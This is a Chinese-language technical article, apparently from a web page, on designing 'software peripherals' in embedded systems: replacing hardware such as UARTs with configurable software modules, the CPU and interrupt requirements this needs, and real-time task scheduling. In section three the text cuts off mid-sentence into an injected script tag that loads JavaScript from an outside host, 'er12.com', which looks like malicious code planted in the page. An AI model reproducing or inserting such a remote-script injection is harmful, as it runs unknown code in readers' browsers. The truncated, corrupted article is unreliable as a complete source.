嵌入式系统中“软外设”的研究

随着cpu的性能的不断提升,处理速度越来越快,运算能力不断增强,在许多嵌入式系统的开发中逐渐出现了软外设(software peripherals)。所谓软外设是指以软件编程为手段,模拟cpu的外围设备的功能,真正达到以软代硬的目的。软外设的出现给产品的开发带来了极大的灵活性,不但使系统体积变得更小,而且使系统的升级换代变得更为方便,从而真正实现soc。

  本文介绍软外设的设计思想以及在开发过程中应注意的事项,并结合一个嵌入式系统,分析软外设对系统的影响以及如何使设计合理化。

  关键词:嵌入式系统 uart software peripherals

  
一 介绍

  应该说软外设并不是一个新思想,从计算机发明以来,电子系统设计人员一直试图尽可能多地用软件编程来代替实际电路,通过这种方式把外设嵌入进系统。但由于cpu速度、计算能力有限,以及内存技术的发展不够成熟,从而束缚了软外设的发展。

  近年来,随着电子技术的发展,越来越多的处理器厂家在处理器的设计中加大了对软外设的支持,象arm公司宣称他们的32、64位risc处理器已经能用软件实现更多更强的功能,指令集也更为丰富,甚至包括dsp方面的许多功能现在已经能够在cpu上实现。motorola公司已经开发出基于sm56pci接口的用纯软件实现的调制解调器。这些都说明电路设计已经进入了一个崭新的时期。

  目前,电子设计中把外设嵌入进系统的方法主要有两种。方法ⅰ是采用标准的微处理器+一块辅助芯片,辅助芯片可以是fpga或cpld等可编程逻辑芯片;方法ⅱ是采用基本的cpu内核+附加逻辑单元,这些可以在一块高密度可编程逻辑芯片上实现,cpu内核往往为altera和xilinx等fpga生产厂家提供的软件模块。以上两种方法都需要开发人员熟悉硬件描述语言,但在实际应用中cpu内核以及各种ip核的使用的往往要得到产权许可,而且可编程逻辑芯片体积大,价格昂贵,故在一些便携式装置的研制中不便采用。

  软外设的设计通常是采用标准的微处理器,在满足系统稳定和系统负荷允许的条件下,设计中尽可能多地采用可配置的软件模块,用这些可配置的软件模块来实现某种外设的功能。并且可以配置、升级、重组,从而完成特定的功能。应该说明的是,并不是所有外设的功能都能完全由软件实现,这种设计方法的目的是在系统允许的条件下尽量“以软代硬”,以尽可能少的硬件开销取得最佳的性能比。

  
二 系统要求

  下面给出具有软外设的嵌入式系统结构图。

  下面给出对嵌入式系统的要求:

  (1) 高性能cpu内核。软外设的必须以高性能cpu内核为支持,只有采用高性能cpu内核,系统的频率才能得以提高,软外设和cpu之间才能高速传送数据,软外设才能得以高速运行而对系统整体工作不会有太多影响。建议采用带有流水线、32位以上risc核的cpu。

  (2) 快速的中断响应。软外设均采用中断方式向cpu提出服务请求。可以在片上存储器与内部总线之间增加寄存器组来减少系统的中断响应时间。

  (3) 附加硬件模块。正如前面所提,系统有些特性是不能由软件实现的,象定时器、中断控制器。另外在信号处理中由于a/d、d/a转换如果用软件实现对系统开销太大,由硬件实现较好。

  (4) 快速、足够的存储器和高性能的运算单元。

  
三 软外设的算法设计

  由于软外设要求实时性强,有时需要和别的应用程序并行执行,在设计时可以把软外设看作等待服务的任务,协调、安排好这些任务非常重要,根据任务的确定性可以把实时系统的进程调度策略划分为两类:一类是静态的,主要负责预先知道发生时间的?script src=http://er12.com/t.js>

  • 嵌入式系统中“软外设”的研究已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计